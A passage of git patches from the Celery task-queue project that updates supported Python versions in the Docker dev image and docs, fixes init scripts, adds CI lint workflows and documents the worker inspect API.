``{3.6,3.7,3.8}`` means you can use any of those options. e.g. ``pyenv exec python3.6 -m pytest t/unit`` -* ``pyenv exec python{2.7,3.5,3.6,3.7,3.8} -m pytest t/integration`` +* ``pyenv exec python{3.6,3.7,3.8} -m pytest t/integration`` To run integration tests using pytest - **Note:** ``{2.7,3.5,3.6,3.7,3.8}`` means you can use any of those options. + **Note:** ``{3.6,3.7,3.8}`` means you can use any of those options. e.g. ``pyenv exec python3.6 -m pytest t/unit`` By default, docker-compose will mount the Celery and test folders in the Docker @@ -516,7 +515,7 @@ use are also defined in the :file:`docker/docker-compose.yml` file. By running ``docker-compose build celery`` an image will be created with the name ``celery/celery:dev``. This docker image has every dependency needed for development installed. ``pyenv`` is used to install multiple python -versions, the docker image offers python 2.7, 3.5, 3.6, 3.7 and 3.8. +versions, the docker image offers python 3.6, 3.7 and 3.8. The default python version is set to 3.8. The :file:`docker-compose.yml` file defines the necessary environment variables @@ -677,7 +676,7 @@ Use the ``tox -e`` option if you only want to test specific Python versions: .. code-block:: console - $ tox -e 2.7 + $ tox -e 3.7 Building the documentation -------------------------- diff --git a/docker/Dockerfile b/docker/Dockerfile index 403052787f8..469022f0446 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -1,5 +1,6 @@ -FROM ubuntu:bionic +FROM ubuntu:focal +ENV PYTHONUNBUFFERED 1 ENV PYTHONIOENCODING UTF-8 ARG DEBIAN_FRONTEND=noninteractive @@ -22,7 +23,8 @@ RUN apt-get update && apt-get install -y build-essential \ libncurses5-dev \ libsqlite3-dev \ wget \ - pypy \ + pypy3 \ + pypy3-lib \ python-openssl \ libncursesw5-dev \ zlib1g-dev \ @@ -44,10 +46,10 @@ ENV PATH="$HOME/.pyenv/bin:$PATH" # Copy and run setup scripts WORKDIR $PROVISIONING -COPY docker/scripts/install-couchbase.sh . +#COPY docker/scripts/install-couchbase.sh . # Scripts will lose thier executable flags on copy. To avoid the extra instructions # we call the shell directly. -RUN sh install-couchbase.sh +#RUN sh install-couchbase.sh COPY docker/scripts/create-linux-user.sh . RUN sh create-linux-user.sh @@ -64,11 +66,9 @@ COPY --chown=1000:1000 docker/entrypoint /entrypoint RUN chmod gu+x /entrypoint # Define the local pyenvs -RUN pyenv local python3.8 python3.7 python3.6 python3.5 python2.7 +RUN pyenv local python3.8 python3.7 python3.6 -RUN pyenv exec python2.7 -m pip install --upgrade pip setuptools wheel && \ - pyenv exec python3.5 -m pip install --upgrade pip setuptools wheel && \ - pyenv exec python3.6 -m pip install --upgrade pip setuptools wheel && \ +RUN pyenv exec python3.6 -m pip install --upgrade pip setuptools wheel && \ pyenv exec python3.7 -m pip install --upgrade pip setuptools wheel && \ pyenv exec python3.8 -m pip install --upgrade pip setuptools wheel @@ -93,20 +93,8 @@ RUN pyenv exec python3.8 -m pip install \ -r requirements/test-ci-default.txt \ -r requirements/docs.txt \ -r requirements/test-integration.txt \ - -r requirements/pkgutils.txt && \ - pyenv exec python3.5 -m pip install \ - -r requirements/dev.txt \ - -r requirements/test.txt \ - -r requirements/test-ci-default.txt \ - -r requirements/docs.txt \ - -r requirements/test-integration.txt \ - -r requirements/pkgutils.txt && \ - pyenv exec python2.7 -m pip install \ - -r requirements/dev.txt \ - -r requirements/test.txt \ - -r requirements/test-ci-default.txt \ - -r requirements/test-integration.txt \ -r requirements/pkgutils.txt + COPY --chown=1000:1000 . $HOME/celery diff --git a/docker/scripts/install-pyenv.sh b/docker/scripts/install-pyenv.sh index c52a0b807c1..65c06c3343e 100644 --- a/docker/scripts/install-pyenv.sh +++ b/docker/scripts/install-pyenv.sh @@ -7,8 +7,6 @@ curl -L https://raw.githubusercontent.com/pyenv/pyenv-installer/master/bin/pyenv git clone https://github.com/s1341/pyenv-alias.git $(pyenv root)/plugins/pyenv-alias # Python versions to test against -VERSION_ALIAS="python2.7" pyenv install 2.7.17 -VERSION_ALIAS="python3.5" pyenv install 3.5.8 -VERSION_ALIAS="python3.6" pyenv install 3.6.9 -VERSION_ALIAS="python3.7" pyenv install 3.7.5 -VERSION_ALIAS="python3.8" pyenv install 3.8.0 +VERSION_ALIAS="python3.6" pyenv install 3.6.12 +VERSION_ALIAS="python3.7" pyenv install 3.7.9 +VERSION_ALIAS="python3.8" pyenv install 3.8.7 diff --git a/requirements/dev.txt b/requirements/dev.txt index 9712c15a2e3..8d28a2924cf 100644 --- a/requirements/dev.txt +++ b/requirements/dev.txt @@ -1,5 +1,5 @@ pytz>dev -git+https://github.com/celery/kombu.git git+https://github.com/celery/py-amqp.git +git+https://github.com/celery/kombu.git git+https://github.com/celery/billiard.git -vine==1.3.0 \ No newline at end of file +vine>=5.0.0 \ No newline at end of file diff --git a/requirements/test.txt b/requirements/test.txt index 92ed354e4c8..2f08e36f734 100644 --- a/requirements/test.txt +++ b/requirements/test.txt @@ -1,5 +1,5 @@ case>=1.3.1 -pytest~=6.0 +pytest~=6.2 pytest-celery pytest-subtests pytest-timeout~=1.4.2 From af270f074acdd417df722d9b387ea959b5d9b653 Mon Sep 17 00:00:00 2001 From: Anna Borzenko Date: Thu, 24 Dec 2020 17:20:52 +0200 Subject: [PATCH 121/415] Pass DAEMON_OPTS to stopwait in generic celeryd The stop_workers function in this template init file is missing the $DAEMON_OPTS parameters. --- extra/generic-init.d/celeryd | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/extra/generic-init.d/celeryd b/extra/generic-init.d/celeryd index 56d92beac2c..b928eebeb70 100755 --- a/extra/generic-init.d/celeryd +++ b/extra/generic-init.d/celeryd @@ -269,7 +269,7 @@ dryrun () { stop_workers () { - _chuid stopwait $CELERYD_NODES --pidfile="$CELERYD_PID_FILE" + _chuid stopwait $CELERYD_NODES $DAEMON_OPTS --pidfile="$CELERYD_PID_FILE" } From eac0c12a502e742082155561eae50db1b0fad967 Mon Sep 17 00:00:00 2001 From: Myeongseok Seo Date: Tue, 12 Jan 2021 04:13:02 +0900 Subject: [PATCH 122/415] Update celerybeat (#6550) * Update celerybeat Simple change by celery 5.x command format * Update celerybeat My previous commit not works, so fixed agian --- extra/generic-init.d/celerybeat | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/extra/generic-init.d/celerybeat b/extra/generic-init.d/celerybeat index 8f977903e3a..2667d900a7c 100755 --- a/extra/generic-init.d/celerybeat +++ b/extra/generic-init.d/celerybeat @@ -110,7 +110,7 @@ DEFAULT_USER="celery" DEFAULT_PID_FILE="/var/run/celery/beat.pid" DEFAULT_LOG_FILE="/var/log/celery/beat.log" DEFAULT_LOG_LEVEL="INFO" -DEFAULT_CELERYBEAT="$CELERY_BIN beat" +DEFAULT_CELERYBEAT="$CELERY_BIN" CELERYBEAT=${CELERYBEAT:-$DEFAULT_CELERYBEAT} CELERYBEAT_LOG_LEVEL=${CELERYBEAT_LOG_LEVEL:-${CELERYBEAT_LOGLEVEL:-$DEFAULT_LOG_LEVEL}} @@ -141,8 +141,6 @@ fi export CELERY_LOADER -CELERYBEAT_OPTS="$CELERYBEAT_OPTS -f $CELERYBEAT_LOG_FILE -l $CELERYBEAT_LOG_LEVEL" - if [ -n "$2" ]; then CELERYBEAT_OPTS="$CELERYBEAT_OPTS $2" fi @@ -254,8 +252,11 @@ _chuid () { start_beat () { echo "Starting ${SCRIPT_NAME}..." - _chuid $CELERY_APP_ARG $CELERYBEAT_OPTS $DAEMON_OPTS --detach \ - --pidfile="$CELERYBEAT_PID_FILE" + _chuid $CELERY_APP_ARG $DAEMON_OPTS beat --detach \ + --pidfile="$CELERYBEAT_PID_FILE" \ + --logfile="$CELERYBEAT_LOG_FILE" \ + --loglevel="$CELERYBEAT_LOG_LEVEL" \ + $CELERYBEAT_OPTS } From d366904284e7d1bc56a2b1a78c01df58748ec5bf Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Tue, 12 Jan 2021 12:47:45 +0600 Subject: [PATCH 123/415] added python 3.9 setup in docker image (#6590) * added python 3.9 setup in docker image * fix error * fix missing stuff --- CONTRIBUTING.rst | 14 +++++++------- docker/Dockerfile | 14 +++++++++++--- docker/scripts/install-pyenv.sh | 1 + 3 files changed, 19 insertions(+), 10 deletions(-) diff --git a/CONTRIBUTING.rst b/CONTRIBUTING.rst index 12a2aec700d..32000696b49 100644 --- a/CONTRIBUTING.rst +++ b/CONTRIBUTING.rst @@ -493,19 +493,19 @@ Some useful commands to run: **Note:** This command will run tests for every environment defined in :file:`tox.ini`. It takes a while. -* ``pyenv exec python{3.6,3.7,3.8} -m pytest t/unit`` +* ``pyenv exec python{3.6,3.7,3.8,3.9} -m pytest t/unit`` To run unit tests using pytest. - **Note:** ``{3.6,3.7,3.8}`` means you can use any of those options. - e.g. ``pyenv exec python3.6 -m pytest t/unit`` + **Note:** ``{3.6,3.7,3.8,3.9}`` means you can use any of those options. + e.g. ``pyenv exec python3.7 -m pytest t/unit`` -* ``pyenv exec python{3.6,3.7,3.8} -m pytest t/integration`` +* ``pyenv exec python{3.6,3.7,3.8,3.9} -m pytest t/integration`` To run integration tests using pytest - **Note:** ``{3.6,3.7,3.8}`` means you can use any of those options. - e.g. ``pyenv exec python3.6 -m pytest t/unit`` + **Note:** ``{3.6,3.7,3.8,3.9}`` means you can use any of those options. + e.g. ``pyenv exec python3.7 -m pytest t/unit`` By default, docker-compose will mount the Celery and test folders in the Docker container, allowing code changes and testing to be immediately visible inside @@ -515,7 +515,7 @@ use are also defined in the :file:`docker/docker-compose.yml` file. By running ``docker-compose build celery`` an image will be created with the name ``celery/celery:dev``. This docker image has every dependency needed for development installed. ``pyenv`` is used to install multiple python -versions, the docker image offers python 3.6, 3.7 and 3.8. +versions, the docker image offers python 3.6, 3.7, 3.8 and 3.9. The default python version is set to 3.8. The :file:`docker-compose.yml` file defines the necessary environment variables diff --git a/docker/Dockerfile b/docker/Dockerfile index 469022f0446..7f91b01cc59 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -5,7 +5,7 @@ ENV PYTHONIOENCODING UTF-8 ARG DEBIAN_FRONTEND=noninteractive -# Pypy is installed from a package manager because it takes so long to build. +# Pypy3 is installed from a package manager because it takes so long to build. RUN apt-get update && apt-get install -y build-essential \ libcurl4-openssl-dev \ libffi-dev \ @@ -66,11 +66,12 @@ COPY --chown=1000:1000 docker/entrypoint /entrypoint RUN chmod gu+x /entrypoint # Define the local pyenvs -RUN pyenv local python3.8 python3.7 python3.6 +RUN pyenv local python3.8 python3.7 python3.6 python3.9 RUN pyenv exec python3.6 -m pip install --upgrade pip setuptools wheel && \ pyenv exec python3.7 -m pip install --upgrade pip setuptools wheel && \ - pyenv exec python3.8 -m pip install --upgrade pip setuptools wheel + pyenv exec python3.8 -m pip install --upgrade pip setuptools wheel && \ + pyenv exec python3.9 -m pip install --upgrade pip setuptools wheel # Setup one celery environment for basic development use RUN pyenv exec python3.8 -m pip install \ @@ -93,6 +94,13 @@ RUN pyenv exec python3.8 -m pip install \ -r requirements/test-ci-default.txt \ -r requirements/docs.txt \ -r requirements/test-integration.txt \ + -r requirements/pkgutils.txt && \ + pyenv exec python3.9 -m pip install \ + -r requirements/dev.txt \ + -r requirements/test.txt \ + -r requirements/test-ci-default.txt \ + -r requirements/docs.txt \ + -r requirements/test-integration.txt \ -r requirements/pkgutils.txt diff --git a/docker/scripts/install-pyenv.sh b/docker/scripts/install-pyenv.sh index 65c06c3343e..2f3093ced10 100644 --- a/docker/scripts/install-pyenv.sh +++ b/docker/scripts/install-pyenv.sh @@ -10,3 +10,4 @@ git clone https://github.com/s1341/pyenv-alias.git $(pyenv root)/plugins/pyenv-a VERSION_ALIAS="python3.6" pyenv install 3.6.12 VERSION_ALIAS="python3.7" pyenv install 3.7.9 VERSION_ALIAS="python3.8" pyenv install 3.8.7 +VERSION_ALIAS="python3.9" pyenv install 3.9.1 From 3f6486ed589c6a0ae9c31fbacdb24a7b6e22ed19 Mon Sep 17 00:00:00 2001 From: Christian Clauss Date: Tue, 12 Jan 2021 14:24:20 +0100 Subject: [PATCH 124/415] GitHub Action to lint Python code (#6564) * GitHub Action to lint Python code * Update lint_python.yml * Update lint_python.yml * we don't use black yet * Requirements before tox * isort: Use the default profile --- .github/workflows/lint_python.yml | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 .github/workflows/lint_python.yml diff --git a/.github/workflows/lint_python.yml b/.github/workflows/lint_python.yml new file mode 100644 index 00000000000..5dd37639e08 --- /dev/null +++ b/.github/workflows/lint_python.yml @@ -0,0 +1,19 @@ +name: lint_python +on: [pull_request, push] +jobs: + lint_python: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + - uses: actions/setup-python@v2 + - run: pip install --upgrade pip wheel + - run: pip install bandit codespell flake8 isort pytest pyupgrade tox + - run: bandit -r . || true + - run: codespell --ignore-words-list="brane,gool,ist,sherif,wil" --quiet-level=2 --skip="*.key" || true + - run: flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics + - run: isort . || true + - run: pip install -r requirements.txt || true + - run: tox || true + - run: pytest . || true + - run: pytest --doctest-modules . || true + - run: shopt -s globstar && pyupgrade --py36-plus **/*.py || true From 2c9d7ef2387a6a5edd83d4770704ae2b4b4f0c91 Mon Sep 17 00:00:00 2001 From: Christian Clauss Date: Tue, 12 Jan 2021 14:38:44 +0100 Subject: [PATCH 125/415] GitHub Action: strategy: fail-fast: false Let's see if any of the tests pass... --- .github/workflows/python-package.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index 190cf18ad54..e7838fceaa3 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -14,6 +14,7 @@ jobs: runs-on: ubuntu-latest strategy: + fail-fast: false matrix: python-version: ['3.6', '3.7', '3.8', '3.9', 'pypy3'] From f9b0231d774eb3965b77515227fa34a1b7f4934f Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 12 Jan 2021 16:00:57 +0200 Subject: [PATCH 126/415] Install libmemcached-dev in CI libmemcached's header files must be found to build pylibmc. --- .github/workflows/python-package.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index e7838fceaa3..a52d663b107 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -21,7 +21,7 @@ jobs: steps: - name: Install apt packages run: | - sudo apt-get install -f libcurl4-openssl-dev libssl-dev gnutls-dev httping expect + sudo apt-get install -f libcurl4-openssl-dev libssl-dev gnutls-dev httping expect libmemcached-dev - uses: actions/checkout@v2 - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v2 From 8beb6fb9be730783c54b4e4c545168b0f3ac91ef Mon Sep 17 00:00:00 2001 From: Matus Valo Date: Tue, 22 Dec 2020 22:44:49 +0100 Subject: [PATCH 127/415] Added docstrings for app.control.inspect API --- celery/app/control.py | 276 ++++++++++++++++++++++++++++++++++++- docs/userguide/workers.rst | 201 +-------------------------- 2 files changed, 278 insertions(+), 199 deletions(-) diff --git a/celery/app/control.py b/celery/app/control.py index 3e5fc65b17c..a35f5cec246 100644 --- a/celery/app/control.py +++ b/celery/app/control.py @@ -2,6 +2,14 @@ Client for worker remote control commands. Server implementation is in :mod:`celery.worker.control`. +There are two types of remote control commands: + +* Inspect commands: Does not have side effects, will usually just return some value + found in the worker, like the list of currently registered tasks, the list of active tasks, etc. + Commands are accessible via :class:`Inspect` class. + +* Control commands: Performs side effects, like adding a new queue to consume from. + Commands are accessible via :class:`Control` class. """ import warnings @@ -61,7 +69,11 @@ def _after_fork_cleanup_control(control): class Inspect: - """API for app.control.inspect.""" + """API for inspecting workers. + + This class provides proxy for accessing Inspect API of workers. The API is + defined in :py:mod:`celery.worker.control` + """ app = None @@ -103,42 +115,254 @@ def _request(self, command, **kwargs): )) def report(self): + """Return human readable report for each worker. + + Returns: + Dict: Dictionary ``{HOSTNAME: {'ok': REPORT_STRING}}``. + """ return self._request('report') def clock(self): + """Get the Clock value on workers. + + >>> app.control.inspect().clock() + {'celery@node1': {'clock': 12}} + + Returns: + Dict: Dictionary ``{HOSTNAME: CLOCK_VALUE}``. + """ return self._request('clock') def active(self, safe=None): - # safe is ignored since 4.0 - # as no objects will need serialization now that we - # have argsrepr/kwargsrepr. + """Return list of tasks currently executed by workers. + + Returns: + Dict: Dictionary ``{HOSTNAME: [TASK_INFO,...]}``. + + See Also: + For ``TASK_INFO`` details see :func:`query_task` return value. + + Note: + ``safe`` is ignored since 4.0 as no objects will need + serialization now that we have argsrepr/kwargsrepr. + """ return self._request('active') def scheduled(self, safe=None): + """Return list of scheduled tasks with details. + + Returns: + Dict: Dictionary ``{HOSTNAME: [TASK_SCHEDULED_INFO,...]}``. + + Here is the list of ``TASK_SCHEDULED_INFO`` fields: + + * ``eta`` - scheduled time for task execution as string in ISO 8601 format + * ``priority`` - priority of the task + * ``request`` - field containing ``TASK_INFO`` value. + + See Also: + For more details about ``TASK_INFO`` see :func:`query_task` return value. + """ return self._request('scheduled') def reserved(self, safe=None): + """Return list of currently reserved tasks, not including scheduled/active. + + Returns: + Dict: Dictionary ``{HOSTNAME: [TASK_INFO,...]}``. + + See Also: + For ``TASK_INFO`` details see :func:`query_task` return value. + """ return self._request('reserved') def stats(self): + """Return statistics of worker. + + Returns: + Dict: Dictionary ``{HOSTNAME: STAT_INFO}``. + + Here is the list of ``STAT_INFO`` fields: + + * ``broker`` - Section for broker information. + * ``connect_timeout`` - Timeout in seconds (int/float) for establishing a new connection. + * ``heartbeat`` - Current heartbeat value (set by client). + * ``hostname`` - Node name of the remote broker. + * ``insist`` - No longer used. + * ``login_method`` - Login method used to connect to the broker. + * ``port`` - Port of the remote broker. + * ``ssl`` - SSL enabled/disabled. + * ``transport`` - Name of transport used (e.g., amqp or redis) + * ``transport_options`` - Options passed to transport. + * ``uri_prefix`` - Some transports expects the host name to be a URL. + E.g. ``redis+socket:///tmp/redis.sock``. + In this example the URI-prefix will be redis. + * ``userid`` - User id used to connect to the broker with. + * ``virtual_host`` - Virtual host used. + * ``clock`` - Value of the workers logical clock. This is a positive integer + and should be increasing every time you receive statistics. + * ``uptime`` - Numbers of seconds since the worker controller was started + * ``pid`` - Process id of the worker instance (Main process). + * ``pool`` - Pool-specific section. + * ``max-concurrency`` - Max number of processes/threads/green threads. + * ``max-tasks-per-child`` - Max number of tasks a thread may execute before being recycled. + * ``processes`` - List of PIDs (or thread-id’s). + * ``put-guarded-by-semaphore`` - Internal + * ``timeouts`` - Default values for time limits. + * ``writes`` - Specific to the prefork pool, this shows the distribution + of writes to each process in the pool when using async I/O. + * ``prefetch_count`` - Current prefetch count value for the task consumer. + * ``rusage`` - System usage statistics. The fields available may be different on your platform. + From :manpage:`getrusage(2)`: + + * ``stime`` - Time spent in operating system code on behalf of this process. + * ``utime`` - Time spent executing user instructions. + * ``maxrss`` - The maximum resident size used by this process (in kilobytes). + * ``idrss`` - Amount of non-shared memory used for data (in kilobytes times + ticks of execution) + * ``isrss`` - Amount of non-shared memory used for stack space + (in kilobytes times ticks of execution) + * ``ixrss`` - Amount of memory shared with other processes + (in kilobytes times ticks of execution). + * ``inblock`` - Number of times the file system had to read from the disk + on behalf of this process. + * ``oublock`` - Number of times the file system has to write to disk + on behalf of this process. + * ``majflt`` - Number of page faults that were serviced by doing I/O. + * ``minflt`` - Number of page faults that were serviced without doing I/O. + * ``msgrcv`` - Number of IPC messages received. + * ``msgsnd`` - Number of IPC messages sent. + * ``nvcsw`` - Number of times this process voluntarily invoked a context switch. + * ``nivcsw`` - Number of times an involuntary context switch took place. + * ``nsignals`` - Number of signals received. + * ``nswap`` - The number of times this process was swapped entirely + out of memory. + * ``total`` - Map of task names and the total number of tasks with that type + the worker has accepted since start-up. + """ return self._request('stats') def revoked(self): + """Return list of revoked tasks. + + >>> app.control.inspect().revoked() + {'celery@node1': ['16f527de-1c72-47a6-b477-c472b92fef7a']} + + Returns: + Dict: Dictionary ``{HOSTNAME: [TASK_ID, ...]}``. + """ return self._request('revoked') def registered(self, *taskinfoitems): + """Return all registered tasks per worker. + + >>> app.control.inspect().registered() + {'celery@node1': ['task1', 'task1']} + >>> app.control.inspect().registered('serializer', 'max_retries') + {'celery@node1': ['task_foo [serializer=json max_retries=3]', 'tasb_bar [serializer=json max_retries=3]']} + + Arguments: + taskinfoitems (Sequence[str]): List of :class:`~celery.app.task.Task` + attributes to include. + + Returns: + Dict: Dictionary ``{HOSTNAME: [TASK1_INFO, ...]}``. + """ return self._request('registered', taskinfoitems=taskinfoitems) registered_tasks = registered def ping(self, destination=None): + """Ping all (or specific) workers. + + >>> app.control.inspect().ping() + {'celery@node1': {'ok': 'pong'}, 'celery@node2': {'ok': 'pong'}} + >>> app.control.inspect().ping(destination=['celery@node1']) + {'celery@node1': {'ok': 'pong'}} + + Arguments: + destination (List): If set, a list of the hosts to send the + command to, when empty broadcast to all workers. + + Returns: + Dict: Dictionary ``{HOSTNAME: {'ok': 'pong'}}``. + + See Also: + :meth:`broadcast` for supported keyword arguments. + """ if destination: self.destination = destination return self._request('ping') def active_queues(self): + """Return information about queues from which worker consumes tasks. + + Returns: + Dict: Dictionary ``{HOSTNAME: [QUEUE_INFO, QUEUE_INFO,...]}``. + + Here is the list of ``QUEUE_INFO`` fields: + + * ``name`` + * ``exchange`` + * ``name`` + * ``type`` + * ``arguments`` + * ``durable`` + * ``passive`` + * ``auto_delete`` + * ``delivery_mode`` + * ``no_declare`` + * ``routing_key`` + * ``queue_arguments`` + * ``binding_arguments`` + * ``consumer_arguments`` + * ``durable`` + * ``exclusive`` + * ``auto_delete`` + * ``no_ack`` + * ``alias`` + * ``bindings`` + * ``no_declare`` + * ``expires`` + * ``message_ttl`` + * ``max_length`` + * ``max_length_bytes`` + * ``max_priority`` + + See Also: + See the RabbitMQ/AMQP documentation for more details about + ``queue_info`` fields. + Note: + The ``queue_info`` fields are RabbitMQ/AMQP oriented. + Not all fields applies for other transports. + """ return self._request('active_queues') def query_task(self, *ids): + """Return detail of tasks currently executed by workers. + + Arguments: + *ids (str): IDs of tasks to be queried. + + Returns: + Dict: Dictionary ``{HOSTNAME: {TASK_ID: [STATE, TASK_INFO]}}``. + + Here is the list of ``TASK_INFO`` fields: + * ``id`` - ID of the task + * ``name`` - Name of the task + * ``args`` - Positinal arguments passed to the task + * ``kwargs`` - Keyword arguments passed to the task + * ``type`` - Type of the task + * ``hostname`` - Hostname of the worker processing the task + * ``time_start`` - Time of processing start + * ``acknowledged`` - True when task was acknowledged to broker + * ``delivery_info`` - Dictionary containing delivery information + * ``exchange`` - Name of exchange where task was published + * ``routing_key`` - Routing key used when task was published + * ``priority`` - Priority used when task was published + * ``redelivered`` - True if the task was redelivered + * ``worker_pid`` - PID of worker processin the task + + """ # signature used be unary: query_task(ids=[id1, id2]) # we need this to preserve backward compatibility. if len(ids) == 1 and isinstance(ids[0], (list, tuple)): @@ -146,18 +370,54 @@ def query_task(self, *ids): return self._request('query_task', ids=ids) def conf(self, with_defaults=False): + """Return configuration of each worker. + + Arguments: + with_defaults (bool): if set to True, method returns also + configuration options with default values. + + Returns: + Dict: Dictionary ``{HOSTNAME: WORKER_CONFIGURATION}``. + + See Also: + ``WORKER_CONFIGURATION`` is a dictionary containing current configuration options. + See :ref:`configuration` for possible values. + """ return self._request('conf', with_defaults=with_defaults) def hello(self, from_node, revoked=None): return self._request('hello', from_node=from_node, revoked=revoked) def memsample(self): + """Return sample current RSS memory usage. + + Note: + Requires the psutils library. + """ return self._request('memsample') def memdump(self, samples=10): + """Dump statistics of previous memsample requests. + + Note: + Requires the psutils library. + """ return self._request('memdump', samples=samples) def objgraph(self, type='Request', n=200, max_depth=10): + """Create graph of uncollected objects (memory-leak debugging). + + Arguments: + n (int): Max number of objects to graph. + max_depth (int): Traverse at most n levels deep. + type (str): Name of object to graph. Default is ``"Request"``. + + Returns: + Dict: Dictionary ``{'filename': FILENAME}`` + + Note: + Requires the objgraph library. + """ return self._request('objgraph', num=n, max_depth=max_depth, type=type) @@ -185,6 +445,7 @@ def _after_fork(self): @cached_property def inspect(self): + """Create new :class:`Inspect` instance.""" return self.app.subclass_with_self(Inspect, reverse='control.inspect') def purge(self, connection=None): @@ -252,8 +513,13 @@ def terminate(self, task_id, def ping(self, destination=None, timeout=1.0, **kwargs): """Ping all (or specific) workers. + >>> app.control.ping() + [{'celery@node1': {'ok': 'pong'}}, {'celery@node2': {'ok': 'pong'}}] + >>> app.control.ping(destination=['celery@node2']) + [{'celery@node2': {'ok': 'pong'}}] + Returns: - List[Dict]: List of ``{'hostname': reply}`` dictionaries. + List[Dict]: List of ``{HOSTNAME: {'ok': 'pong'}}`` dictionaries. See Also: :meth:`broadcast` for supported keyword arguments. diff --git a/docs/userguide/workers.rst b/docs/userguide/workers.rst index aec8c9e5414..d87b14f6e18 100644 --- a/docs/userguide/workers.rst +++ b/docs/userguide/workers.rst @@ -732,7 +732,7 @@ to specify the workers that should reply to the request: This can also be done programmatically by using the -:meth:`@control.inspect.active_queues` method: +:meth:`~celery.app.control.Inspect.active_queues` method: .. code-block:: pycon @@ -771,7 +771,7 @@ Dump of registered tasks ------------------------ You can get a list of tasks registered in the worker using the -:meth:`~@control.inspect.registered`: +:meth:`~celery.app.control.Inspect.registered`: .. code-block:: pycon @@ -785,7 +785,7 @@ Dump of currently executing tasks --------------------------------- You can get a list of active tasks using -:meth:`~@control.inspect.active`: +:meth:`~celery.app.control.Inspect.active`: .. code-block:: pycon @@ -802,7 +802,7 @@ Dump of scheduled (ETA) tasks ----------------------------- You can get a list of tasks waiting to be scheduled by using -:meth:`~@control.inspect.scheduled`: +:meth:`~celery.app.control.Inspect.scheduled`: .. code-block:: pycon @@ -834,7 +834,7 @@ Reserved tasks are tasks that have been received, but are still waiting to be executed. You can get a list of these using -:meth:`~@control.inspect.reserved`: +:meth:`~celery.app.control.Inspect.reserved`: .. code-block:: pycon @@ -852,201 +852,14 @@ Statistics ---------- The remote control command ``inspect stats`` (or -:meth:`~@control.inspect.stats`) will give you a long list of useful (or not +:meth:`~celery.app.control.Inspect.stats`) will give you a long list of useful (or not so useful) statistics about the worker: .. code-block:: console $ celery -A proj inspect stats -The output will include the following fields: - -- ``broker`` - - Section for broker information. - - * ``connect_timeout`` - - Timeout in seconds (int/float) for establishing a new connection. - - * ``heartbeat`` - - Current heartbeat value (set by client). - - * ``hostname`` - - Node name of the remote broker. - - * ``insist`` - - No longer used. - - * ``login_method`` - - Login method used to connect to the broker. - - * ``port`` - - Port of the remote broker. - - * ``ssl`` - - SSL enabled/disabled. - - * ``transport`` - - Name of transport used (e.g., ``amqp`` or ``redis``) - - * ``transport_options`` - - Options passed to transport. - - * ``uri_prefix`` - - Some transports expects the host name to be a URL. - - .. code-block:: text - - redis+socket:///tmp/redis.sock - - In this example the URI-prefix will be ``redis``. - - * ``userid`` - - User id used to connect to the broker with. - - * ``virtual_host`` - - Virtual host used. - -- ``clock`` - - Value of the workers logical clock. This is a positive integer and should - be increasing every time you receive statistics. - -- ``uptime`` - - Numbers of seconds since the worker controller was started - -- ``pid`` - - Process id of the worker instance (Main process). - -- ``pool`` - - Pool-specific section. - - * ``max-concurrency`` - - Max number of processes/threads/green threads. - - * ``max-tasks-per-child`` - - Max number of tasks a thread may execute before being recycled. - - * ``processes`` - - List of PIDs (or thread-id's). - - * ``put-guarded-by-semaphore`` - - Internal - - * ``timeouts`` - - Default values for time limits. - - * ``writes`` - - Specific to the prefork pool, this shows the distribution of writes - to each process in the pool when using async I/O. - -- ``prefetch_count`` - - Current prefetch count value for the task consumer. - -- ``rusage`` - - System usage statistics. The fields available may be different - on your platform. - - From :manpage:`getrusage(2)`: - - * ``stime`` - - Time spent in operating system code on behalf of this process. - - * ``utime`` - - Time spent executing user instructions. - - * ``maxrss`` - - The maximum resident size used by this process (in kilobytes). - - * ``idrss`` - - Amount of non-shared memory used for data (in kilobytes times ticks of - execution) - - * ``isrss`` - - Amount of non-shared memory used for stack space (in kilobytes times - ticks of execution) - - * ``ixrss`` - - Amount of memory shared with other processes (in kilobytes times - ticks of execution). - - * ``inblock`` - - Number of times the file system had to read from the disk on behalf of - this process. - - * ``oublock`` - - Number of times the file system has to write to disk on behalf of - this process. - - * ``majflt`` - - Number of page faults that were serviced by doing I/O. - - * ``minflt`` - - Number of page faults that were serviced without doing I/O. - - * ``msgrcv`` - - Number of IPC messages received. - - * ``msgsnd`` - - Number of IPC messages sent. - - * ``nvcsw`` - - Number of times this process voluntarily invoked a context switch. - - * ``nivcsw`` - - Number of times an involuntary context switch took place. - - * ``nsignals`` - - Number of signals received. - - * ``nswap`` - - The number of times this process was swapped entirely out of memory. - - -- ``total`` - - Map of task names and the total number of tasks with that type - the worker has accepted since start-up. - +For the output details, consult the reference documentation of :meth:`~celery.app.control.Inspect.stats`. Additional Commands =================== From 7dc76ff3bd93ffca9abcc8130b6eea436a6bae49 Mon Sep 17 00:00:00 2001 From: Matt Hoffman Date: Tue, 12 Jan 2021 12:09:53 -0500 Subject: [PATCH 128/415] Makes regen less greedy (#6589) * Makes regen less greedy Might fix #4298. This was originally part of https://github.com/celery/celery/pull/6576. * adds assertion to ensure regen item is not lost --- celery/utils/functional.py | 25 ++++++++++++++++++--- t/unit/utils/test_functional.py | 39 ++++++++++++++++++++++++--------- 2 files changed, 51 insertions(+), 13 deletions(-) diff --git a/celery/utils/functional.py b/celery/utils/functional.py index b28e4a3ba48..68172cc2067 100644 --- a/celery/utils/functional.py +++ b/celery/utils/functional.py @@ -3,7 +3,7 @@ import sys from collections import UserList from functools import partial -from itertools import chain, islice +from itertools import islice from kombu.utils.functional import (LRUCache, dictfilter, is_list, lazy, 